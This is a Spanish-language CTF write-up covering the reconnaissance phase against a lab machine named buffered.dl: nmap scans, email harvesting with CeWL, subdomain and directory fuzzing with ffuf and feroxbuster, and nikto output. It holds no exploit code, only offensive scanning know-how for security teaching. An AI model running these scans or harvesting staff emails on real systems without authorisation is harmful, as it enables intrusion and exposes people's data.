Nota: Este CTF sera un ejemplo de mi metodología en el reconocimiento inicial de un pentesting.
Enumeración de servicio
Lo primero que siempre debemos hacer antes de iniciar los escaneos o pruebas de vulnerabilidades, es verificar conectividad con la maquina victima, por ejemplo usando el comando ping de la siguiente manera.
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.122 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.122/0.122/0.122/0.000 ms
Como vemos, ningún paquete se perdió, así que tenemos conectividad con el servidor, mediante el TTL podemos darnos una idea a lo que nos enfrentamos, en este caso es un TTL de 64 por lo cual podemos pensar en un linux, el TTL puede ser modificado, pero generalmente siempre esta en un rango donde de 128 a 65 es Windows y de 64 a 1 es Linux, después de saber que tenemos conectividad con la maquina, yo hago un escaneo primario con mi script de python de los 1000 puertos mas famosos, luego escaneo los 65535 puertos existentes, primero por TCP y luego por UDP en caso de no encontrar nada interesante, antes que nada para tener todo bien organizado, tengo una función en la bash que es mkt el cual me crea mis carpetas de trabajo de la siguiente manera.
El cual me crea 7 directorios los cuales me ayudan a tener un orden, dentro de recognition lo que are es el escaneo primario con el siguiente comando.
PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt
Resultado
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 80 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:
[+] 80/tcp http nginx 1.24.0 (Ubuntu)
[+] Comprobando vulnerabilidades:
[+] Tecnologías detectadas en HTTP:
http://172.17.0.2:80 [301 Moved Permanently] Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)],
IP[172.17.0.2],
RedirectLocation[http://buffered.dl/],
Title[301 Moved Permanently],
nginx[1.24.0],
[*] Evidencia guardada en recognition.txt
Con este escaneo puedo ver algunas cosas interesantes como la redirección de la ip a buffered.dl y es muy interesante que solo el puerto 80 este abierto, lo siguiente que are es agregar la ip y la URL en el /etc/hosts para que mi maquina pueda resolver el dominio.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:17 EST
Initiating ARP Ping Scan at 11:17
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 11:17, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:17
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
SYN Stealth Scan Timing: About 50.03% done; ETC: 11:20 (0:01:15 remaining)
Completed SYN Stealth Scan at 11:21, 212.31s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.35s latency).
Scanned at 2024-10-25 11:17:49 EST for 212s
Not shown: 52680 filtered tcp ports (no-response), 12854 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 212.50 seconds
Raw packets sent: 124579 (5.481MB) | Rcvd: 12858 (514.320KB)
En caso de haber muchos puertos abiertos, esta función nos copia los puertos para agilizar trabajo, ahora si procedamos a ver ese puerto 80 con nmap.
nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
Resultado
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:27 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Buffered
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.76 seconds
Vemos que la pagina usa nginx y también podemos ver el titulo de la pagina, podemos hacer otro escaneo un poco más agresivo de la siguiente manera.
Recordatorio:
Si el puerto abierto en ves de ser el 80 hubiera sido el 443 podríamos usar openssl s_client en modo cliente para ver informacion importante como redirecciones, etc.
Ejemplo: openssl s_client -connect <IP>:443
nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Resultado
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:39 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.063s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-headers:
| Server: nginx/1.24.0 (Ubuntu)
| Date: Fri, 25 Oct 2024 16:39:43 GMT
| Content-Type: text/html
| Content-Length: 36718
| Last-Modified: Sat, 03 Aug 2024 03:11:45 GMT
| Connection: close
| ETag: "66ad9ff1-8f6e"
| Accept-Ranges: bytes
|
|_ (Request type: HEAD)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 63.42 ms buffered.dl (172.17.0.2)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
Podemos ver un poco más de información sobre el servidor, tambien exportamos el resultado en un xml la forma de darle tratamiento para verlo en la web seria.
❯ xsltproc xml > index.html
❯ rm xml
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Si vamos a la web veríamos lo siguiente en el localhost.
Ahora tiremos algunos scripts mas agresivos de nmap.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:49 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00047s latency).
PORT STATE SERVICE
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=buffered.dl
| Found the following possible CSRF vulnerabilities:
|
| Path: http://buffered.dl:80/
| Form id:
| Form action: forms/contact.php
|
| Path: http://buffered.dl:80/
| Form id:
| Form action: forms/newsletter.php
|
| Path: http://buffered.dl:80/index.html
| Form id:
| Form action: forms/contact.php
|
| Path: http://buffered.dl:80/index.html
| Form id:
| Form action: forms/newsletter.php
|
| Path: http://buffered.dl:80/portfolio-details.html
| Form id:
|_ Form action: forms/newsletter.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: BID:49303 CVE:CVE-2011-3192
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://www.tenable.com/plugins/nessus/55976
| https://www.securityfocus.com/bid/49303
|_ https://seclists.org/fulldisclosure/2011/Aug/175
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 102.84 seconds
Vemos mucha información importante, por ejemplo nmap nos dice que el servidor es vulnerable a CSRF y nos da un pequeño fuzzing del contenido en el servidor que veremos mas adelante, también nos da un CVE que pertenece a un DoS, que si estuviéramos haciendo un informe, son cosas muy importante que debemos poner.
Enumeración por Fuzzing
Ahora toca el reconocimiento por Fuzzing pero antes que nada vamos a crear un proyecto en Burp Suite para llevar un registro de todo lo que hagamos, después de abrir Burp Suite iremos a Target y en Scope agregaremos el dominio en el que vamos a trabajar, quedaría de la siguiente manera, también agregamos la casilla de incluir subdominios.
Podemos ir a nuestro explorador para ver la pagina web.
Podemos ver el Wappalyzer para ver las tecnologías que usa esta pagina web.
Podríamos buscar vulnerabilidades en las versiones de estas tecnologías pero en este caso no lo aremos, así que procedemos a ver el Site map de Burp Suite.
Vemos que se va llenando de información referente a la pagina web y solo sobre el dominio que pusimos en el Scope, enumerando la pagina web veo usuarios con sus correos electrónicos, para extraer todos los correos electrónicos de la pagina web, podemos usar cewl de la siguiente manera.
getoptlong was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add getoptlong to your Gemfile or gemspec to silence this warning.
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Email addresses found
---------------------
christine@buffered.dl
contact@example.com
info@buffered.dl
info@example.com
support@buffered.dl
tyler@buffered.dl
wilson@buffered.dl
Lo que nos interesa es eso ultimo, lo podemos agregar a un archivo llamado correos.txt, también podemos guardar los nombres de los usuarios en un archivo usuarios.txt, quedaría de la siguiente manera.
❯ v usuarios.txt
❯ bat usuarios.txt
───────┬─────────────────────────────────────────────────────
│ File: usuarios.txt
───────┼─────────────────────────────────────────────────────
1 │ Tyler Miller
2 │ Christine Ross
3 │ Wilson Winters
───────┴─────────────────────────────────────────────────────
❯ bat correos.txt
───────┬─────────────────────────────────────────────────────
│ File: correos.txt
───────┼─────────────────────────────────────────────────────
1 │ Email addresses found
2 │ ---------------------
3 │ christine@buffered.dl
4 │ contact@example.com
5 │ info@buffered.dl
6 │ info@example.com
7 │ support@buffered.dl
8 │ tyler@buffered.dl
9 │ wilson@buffered.dl
───────┬─────────────────────────────────────────────────────
Ahora veo el código fuente para ver si hay algo relevante pero no hay nada, así que procedamos con el Fuzzing pero de subdominios primero, la herramienta que generalmente uso para esto es FFuf veamos como podríamos enumerar subdominios con esta herramienta.
Como vemos nos da muchos falsos positivos que podemos filtrar, en este caso usare -fs para filtrar por el tamaño de la respuesta ya que veo que la gran mayoría arroja 36718.
Veo que encontró algo útil y posiblemente el vector de entrada, el subdominio es dashboard antes que nada debemos agregar esto al /etc/hosts, quedaría así.
Ahora en una auditoria podríamos hacer lo siguiente, al ejecutar FFuf para buscar subdominios guardar el resultado con la opción -o esto guardara la informacion en un json el cual le daremos un pequeño tratamiento para verlo mejor y aprovecharlo al máximo.
Podemos poner -o FFuf_subdominios.json y el resultado seria el siguiente.
Esto nos dará los subdominios que encontró, en este caso solo uno, ahora esto lo podríamos agregar al /etc/host que ya lo hicimos y tambien en un txt de los subdominios, ejemplo.
Ahora teniendo estos subdominios podemos ver en la web el subdominio dashboard.
Vemos que en el Site map se registra correctamente lo que hacemos y la web seria la siguiente.
Aquí ya vamos viendo algunos campos que podríamos vulnerar, pero sigamos haciendo reconocimiento, lo siguiente que haremos es Fuzzing de directorios, en este caso usaremos Feroxbuster lo ejecutaremos de la siguiente manera.
Nota:
En entornos reales una wordlist que da mejores resultados seria raft-medium-directories.txt tambien tiene un large y small.
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://buffered.dl
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🎥 Replay Proxy │ http://127.0.0.1:8080
📼 Replay Proxy Codes │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
🔎 Extract Links │ true
💾 Output File │ Ferox_directorios.txt
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 20l 126w 9599c http://buffered.dl/assets/img/clients/client-7.png
200 GET 63l 721w 43571c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-1.jpg
200 GET 120l 618w 52670c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-8.jpg
200 GET 27l 117w 8294c http://buffered.dl/assets/img/clients/client-3.png
200 GET 41l 215w 16023c http://buffered.dl/assets/img/clients/client-8.png
200 GET 19l 97w 6012c http://buffered.dl/assets/img/logo.png
200 GET 1l 273w 28765c http://buffered.dl/assets/vendor/aos/aos.css
200 GET 179l 494w 31077c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-4.jpg
200 GET 32l 199w 9277c http://buffered.dl/assets/img/clients/client-1.png
200 GET 13l 182w 18431c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.css
200 GET 1l 268w 13800c http://buffered.dl/assets/vendor/aos/aos.js
200 GET 336l 711w 38530c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-9.jpg
200 GET 12l 119w 5485c http://buffered.dl/assets/vendor/imagesloaded/imagesloaded.pkgd.min.js
200 GET 85l 210w 2734c http://buffered.dl/assets/vendor/php-email-form/validate.js
200 GET 1578l 8338w 640477c http://buffered.dl/assets/img/cta-bg.jpg
301 GET 7l 12w 178c http://buffered.dl/assets => http://buffered.dl/assets/
200 GET 21l 128w 8850c http://buffered.dl/assets/img/clients/client-5.png
403 GET 7l 10w 162c http://buffered.dl/forms/
200 GET 29l 129w 7722c http://buffered.dl/assets/img/clients/client-2.png
200 GET 41l 146w 1341c http://buffered.dl/forms/contact.php
200 GET 1l 233w 13749c http://buffered.dl/assets/vendor/glightbox/css/glightbox.min.css
200 GET 20l 118w 5770c http://buffered.dl/assets/img/clients/client-6.png
200 GET 282l 749w 11510c http://buffered.dl/portfolio-details.html
200 GET 815l 2531w 36718c http://buffered.dl/index.html
200 GET 12l 557w 35445c http://buffered.dl/assets/vendor/isotope-layout/isotope.pkgd.min.js
200 GET 201l 526w 37370c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-5.jpg
200 GET 411l 2152w 174108c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-7.jpg
200 GET 342l 1607w 148241c http://buffered.dl/assets/img/team/1.jpg
200 GET 379l 2336w 211593c http://buffered.dl/assets/img/about.jpg
200 GET 204l 445w 5979c http://buffered.dl/assets/js/main.js
200 GET 117l 426w 33265c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-3.jpg
200 GET 39l 142w 1250c http://buffered.dl/forms/newsletter.php
200 GET 9l 31w 2057c http://buffered.dl/assets/img/favicon.png
200 GET 14l 1729w 150447c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.js
200 GET 6l 2222w 232803c http://buffered.dl/assets/vendor/bootstrap/css/bootstrap.min.css
200 GET 48l 249w 20527c http://buffered.dl/assets/img/team/2.jpg
403 GET 7l 10w 162c http://buffered.dl/assets/img/team/
200 GET 101l 496w 39166c http://buffered.dl/assets/img/team/3.jpg
301 GET 7l 12w 178c http://buffered.dl/forms => http://buffered.dl/forms/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/
200 GET 690l 3708w 262900c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-2.jpg
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/bootstrap/
200 GET 63l 248w 13619c http://buffered.dl/assets/img/apple-touch-icon.png
403 GET 7l 10w 162c http://buffered.dl/assets/img/masonry-portfolio/
200 GET 147l 531w 38450c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-6.jpg
200 GET 30l 118w 7817c http://buffered.dl/assets/img/clients/client-4.png
200 GET 1708l 3865w 37583c http://buffered.dl/assets/css/main.css
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/php-email-form/
403 GET 7l 10w 162c http://buffered.dl/assets/img/clients/
403 GET 7l 10w 162c http://buffered.dl/assets/css/
200 GET 1l 637w 56300c http://buffered.dl/assets/vendor/glightbox/js/glightbox.min.js
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/bootstrap-icons/
200 GET 2078l 10308w 98255c http://buffered.dl/assets/vendor/bootstrap-icons/bootstrap-icons.css
200 GET 7l 1207w 80721c http://buffered.dl/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 852l 6298w 495857c http://buffered.dl/assets/img/hero-bg.jpg
200 GET 815l 2531w 36718c http://buffered.dl/
403 GET 7l 10w 162c http://buffered.dl/assets/img/
301 GET 7l 12w 178c http://buffered.dl/assets/img => http://buffered.dl/assets/img/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/glightbox/
403 GET 7l 10w 162c http://buffered.dl/assets/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/imagesloaded/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/swiper/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/isotope-layout/
403 GET 7l 10w 162c http://buffered.dl/assets/vendor/aos/
403 GET 7l 10w 162c http://buffered.dl/assets/js/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/bootstrap/css => http://buffered.dl/assets/vendor/bootstrap/css/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/glightbox/css => http://buffered.dl/assets/vendor/glightbox/css/
301 GET 7l 12w 178c http://buffered.dl/assets/css => http://buffered.dl/assets/css/
301 GET 7l 12w 178c http://buffered.dl/assets/img/team => http://buffered.dl/assets/img/team/
301 GET 7l 12w 178c http://buffered.dl/assets/img/clients => http://buffered.dl/assets/img/clients/
301 GET 7l 12w 178c http://buffered.dl/assets/img/portfolio => http://buffered.dl/assets/img/portfolio/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/bootstrap/js => http://buffered.dl/assets/vendor/bootstrap/js/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/glightbox/js => http://buffered.dl/assets/vendor/glightbox/js/
301 GET 7l 12w 178c http://buffered.dl/assets/js => http://buffered.dl/assets/js/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor => http://buffered.dl/assets/vendor/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/bootstrap-icons/fonts => http://buffered.dl/assets/vendor/bootstrap-icons/fonts/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/aos => http://buffered.dl/assets/vendor/aos/
301 GET 7l 12w 178c http://buffered.dl/assets/vendor/bootstrap => http://buffered.dl/assets/vendor/bootstrap/
[####################] - 4m 4190479/4190479 0s found:78 errors:3
[####################] - 4m 220548/220548 858/s http://buffered.dl/
[####################] - 4m 220548/220548 858/s http://buffered.dl/assets/img/team/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/imagesloaded/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/bootstrap/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/php-email-form/
[####################] - 4m 220548/220548 859/s http://buffered.dl/forms/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/img/clients/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/css/
[####################] - 4m 220548/220548 858/s http://buffered.dl/assets/img/
[####################] - 4m 220548/220548 858/s http://buffered.dl/assets/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/glightbox/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/img/masonry-portfolio/
[####################] - 4m 220548/220548 860/s http://buffered.dl/assets/vendor/
[####################] - 4m 220548/220548 860/s http://buffered.dl/assets/vendor/bootstrap-icons/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/aos/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/js/
[####################] - 4m 220548/220548 859/s http://buffered.dl/assets/vendor/isotope-layout/
[####################] - 4m 220548/220548 860/s http://buffered.dl/assets/vendor/swiper/
[####################] - 4m 220548/220548 867/s http://buffered.dl/assets/img/portfolio/
También vemos el resultado en nuestro archivo y ahora aremos lo mismo con el subdominio, cabe resaltar que esto lo podríamos hacer con un bucle for y ahorrarnos un poco de trabajo.
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dashboard.buffered.dl
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🎥 Replay Proxy │ http://127.0.0.1:8080
📼 Replay Proxy Codes │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
🔎 Extract Links │ true
💾 Output File │ Ferox_directorios_subd_1.txt
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 4l 48w 17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200 GET 8l 342w 27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200 GET 43l 293w 16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200 GET 4l 155w 9707c http://dashboard.buffered.dl/static/js/modernizr.js
200 GET 219l 574w 8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200 GET 114l 536w 58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200 GET 231l 1359w 12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200 GET 93l 199w 1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200 GET 94l 218w 3941c http://dashboard.buffered.dl/oauth_login
200 GET 6l 1215w 93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200 GET 2809l 5012w 61188c http://dashboard.buffered.dl/static/css/animate.css
200 GET 162l 259w 4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200 GET 0l 0w 0c http://dashboard.buffered.dl/static/js/plugins.js
200 GET 111l 225w 4090c http://dashboard.buffered.dl/register
200 GET 7172l 14674w 136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200 GET 128l 414w 5666c http://dashboard.buffered.dl/
302 GET 5l 22w 189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302 GET 5l 22w 211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302 GET 5l 22w 189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405 GET 5l 20w 153c http://dashboard.buffered.dl/authenticate
[####################] - 4m 220569/220569 0s found:20 errors:102
[####################] - 4m 220548/220548 853/s http://dashboard.buffered.dl/
Después de ver los diferentes directorios existentes podemos hacer Fuzzing de extensiones de la siguiente manera, este tipo de fuzzing con Feroxbuster puede demorar muchísimo, así que mucha paciencia o usar FFuf para ir con un tipo de extensión e ir más rápido, por ejemplo archivos php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dashboard.buffered.dl
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🎥 Replay Proxy │ http://127.0.0.1:8080
📼 Replay Proxy Codes │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
🔎 Extract Links │ true
💾 Output File │ Ferox_archivos_subd_1.txt
💲 Extensions │ [php, html, txt, zip]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 111l 225w 4090c http://dashboard.buffered.dl/register
200 GET 94l 218w 3941c http://dashboard.buffered.dl/oauth_login
200 GET 0l 0w 0c http://dashboard.buffered.dl/static/js/plugins.js
200 GET 4l 155w 9707c http://dashboard.buffered.dl/static/js/modernizr.js
200 GET 93l 199w 1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200 GET 231l 1359w 12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200 GET 219l 574w 8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200 GET 4l 48w 17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200 GET 8l 342w 27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200 GET 2809l 5012w 61188c http://dashboard.buffered.dl/static/css/animate.css
200 GET 7172l 14674w 136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200 GET 162l 259w 4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200 GET 43l 293w 16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200 GET 6l 1215w 93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200 GET 114l 536w 58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200 GET 128l 414w 5666c http://dashboard.buffered.dl/
302 GET 5l 22w 189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302 GET 5l 22w 211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302 GET 5l 22w 189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405 GET 5l 20w 153c http://dashboard.buffered.dl/authenticate
[#####>--------------] - 5m 295262/1102845 15m found:20 errors:1
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_dashboard_buffered_dl-1729886769.state ...
Ahora algo más que podríamos hacer es usar 2 herramientas que detectan vulnerabilidades, la primera seria nuclei y la otra seria nikto veamos como usarlas.
Nuclei
Nuclei es un escáner de vulnerabilidades rápido y personalizable impulsado por la comunidad de seguridad global y construido sobre un DSL simple basado en YAML, que permite la colaboración para abordar las vulnerabilidades de tendencia en Internet. Le ayuda a encontrar vulnerabilidades en sus aplicaciones, API, redes, DNS y configuraciones de la nube.
Nuclei esta escrito en go, en caso de necesitar alguna cookie de sesión u otras opciones para funcionar se puede agregar con el parámetro -H esto inyecta lo necesario en la cabecera de las solicitudes.
Nikto es una herramienta de código abierto que analiza servidores web para detectar vulnerabilidades. Entre las cosas que puede hacer, Nikto busca: Software desactualizado o sin parches, Archivos peligrosos, Versiones des actualizadas del software del servidor web.
nikto -h http://buffered.dl/ -o resultado_dominio_nikto.txt -ask no
Resultado
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 172.17.0.2
+ Target Hostname: buffered.dl
+ Target Port: 80
+ Start Time: 2024-10-25 18:42:27 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2024-10-25 18:42:36 (GMT-5) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
❯ nikto -h http://dashboard.buffered.dl/ -o resultado_subdominio_nikto.txt -ask no
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 172.17.0.2
+ Target Hostname: dashboard.buffered.dl
+ Target Port: 80
+ Start Time: 2024-10-25 18:42:56 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
